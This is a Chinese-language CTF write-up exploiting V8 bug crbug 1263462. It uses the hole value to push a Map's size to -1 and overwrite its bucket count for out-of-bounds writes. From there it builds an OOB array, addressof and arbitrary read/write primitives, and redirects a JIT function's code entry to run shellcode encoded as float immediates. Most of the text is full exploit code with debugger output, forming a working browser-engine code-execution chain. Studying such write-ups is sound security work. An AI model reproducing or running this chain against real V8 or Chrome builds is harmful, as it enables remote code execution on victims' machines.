这个题是做到的第一个利用hole和map来制造oob的题目,挺有意思的记录一下
首先根据题目给出的信息可知涉及到此漏洞
https://crbug.com/1263462
poc如下:
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);
这里的%TheHole只有开启了–allow-natives-syntax才可以使用,如果不能开的话还需要另一个漏洞来获取一个hole对象。
这里主要想记录如何利用hole和map来制造oob以及记录一下用立即数执行shellcode,所以就直接用那个函数来获取hole了。
首先需要了解map对象的结构,执行一下测试代码:
m = new Map();
m.set(1, 0x1234);
m.set(2, 2);
m.set(3, 3);
m.set("aaaa","bbbb");
%DebugPrint(m);
%SystemBreak();
内存中长这样
map中的每个key-value的存储单元是entry,实现如下
interface Entry {
key: any;
value: any;
chain: number;
}
每个buckets相当于一个哈希桶,如果map里只有四个entry,则哈希桶的数量是2,然后entry中的chain相当于当发生哈希冲突的时候存储在同一个buckets里的下一个entry的index。elements里则是存储了每个具体的entry。
有关map的具体内存使用方式可以看这个,讲的很详细
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df
现在手里有一个size为-1的map,则下一次进行set的时的entry会向上写,buckets和entry的机构可以参考这个图
这个图和上面的gdb内存图对应起来可以解释为
entry count就是job命令打印出来的elements:4,deleted count为deleted:0,bucket count对应为buckets:2,capacity是一个计算出的值,不会再内存中有具体存储,这三个值对应着一个map对象的header,接下来的hashtable对应着的是buckets字典。后面的elements字典对应的是datatable,结构单元是一个一个的entry。
所以当我们能够在-1的位置写一个entry,并且bucket的数量为2的时候,意味着我们可以把这个entry的key写到bucket count字段上去,修改了bucket count就意味着这个map对象的entry偏移变了,原本存储entry的地址被认为成了是bucket,所以再次进行set的时候会把entry放到更远的位置,造成越界写,如果越界写恰好改变了某个array的length,则造成了大范围的自由OOB,后续的思路就比较常规了。所以这个题主要难点在于能否找到并理解那个poc以及对map的内存结构是否熟知。
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(0x1001,0x4000);
%DebugPrint(oobarray);
%DebugPrint(m);
%SystemBreak();
通过修改bucket的数量为0x10,恰好可以使entry的value字段覆盖到array的length字段,但是这里写的时候要注意key是有限制的,必须在map自己的哈希过后对应的hashtable里值为-1
经过修改以后的map只有0和1的位置是-1,其他都是undefined,所以用的key需要爆破一下。
哈希代码的具体实现是
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15);
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057;
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
于是采用0x40a作为key,制造一个oobarray
pwndbg> job 0x14200042401
0x14200042401: [JSArray]
- map: 0x014200203b01 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0142001cb07d <JSArray[0]>
- elements: 1034 [PACKED_DOUBLE_ELEMENTS]
- length: 16384
- properties: 0x014200002251 <FixedArray[0]>
- All own properties (excluding elements): {
0x14200006325: [String] in ReadOnlySpace: #length: 0x014200144255 <AccessorInfo name= 0x014200006325 <String[6]: #length>, data= 0x0142000023d9 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 1034 {
}
可以看到array的长度已经被改大了,并且程序没有出现任何崩溃。
但是此时发现elements的地址被改成了一个不正常的数,最后set的key是直接使用的oobarray,才算真正解决了这个问题
后面就没什么需要解释的地方了。
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
//
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function p64(val) {
dv.setUint32(0,val & 0xFFFFFFFF,true);
dv.setUint32(0x4,val >> 32,true);
var float_val = dv.getFloat64(0,true);
return float_val;
}
function p64(low4,high4) {
dv.setUint32(0,low4,true);
dv.setUint32(0x4,high4,true);
var float_val = dv.getFloat64(0,true);
return float_val;
}
function u64(val){
dv.setFloat64(0,val,true);
return dv.getBigInt64(0,true)
}
function u64_l(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0,true);
}
function u64_h(val) {
dv.setFloat64(0,val,true);
return dv.getUint32(0x4,true);
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(oobarray,0x4000);
var obj={'target':0x5678>>1};
var array_buf=[1.1,2.2];
var obj_idx=0;
for(let i=0;i<0x100;i++)
{
let t=f2i(oobarray[i])>>32n;
if(t==0x5678n)
{
obj_idx=i;
break;
}
}
console.log("[*] obj_idx is 0x"+hex(obj_idx));
function addressof(object)
{
obj.target=object;
return f2i(oobarray[obj_idx])>>32n;
}
var ele_idx=obj_idx+8;
var tmp=f2i(oobarray[ele_idx])%0x100000000n;
var shell_addr=addressof(shellcode)-1n;
console.log("[*] shell_addr is 0x"+hex(shell_addr));
function weak_read(address)
{
oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
return f2i(array_buf[0]);
}
function weak_write(address,value)
{
oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
array_buf[0]=i2f(value);
}
var code_addr=weak_read(shell_addr+0x18n);
var code_entry_point=weak_read(code_addr-1n+0x10n);
weak_write(code_addr+0x10n-1n,code_entry_point+103n);
//%DebugPrint(oobarray);
console.log("[*] code_addr is 0x"+hex(code_addr));
console.log("[*] code_entry_point is 0x"+hex(code_entry_point));
%DebugPrint(obj);
//%DebugPrint(array_buf);
%DebugPrint(shellcode);
%SystemBreak();
shellcode();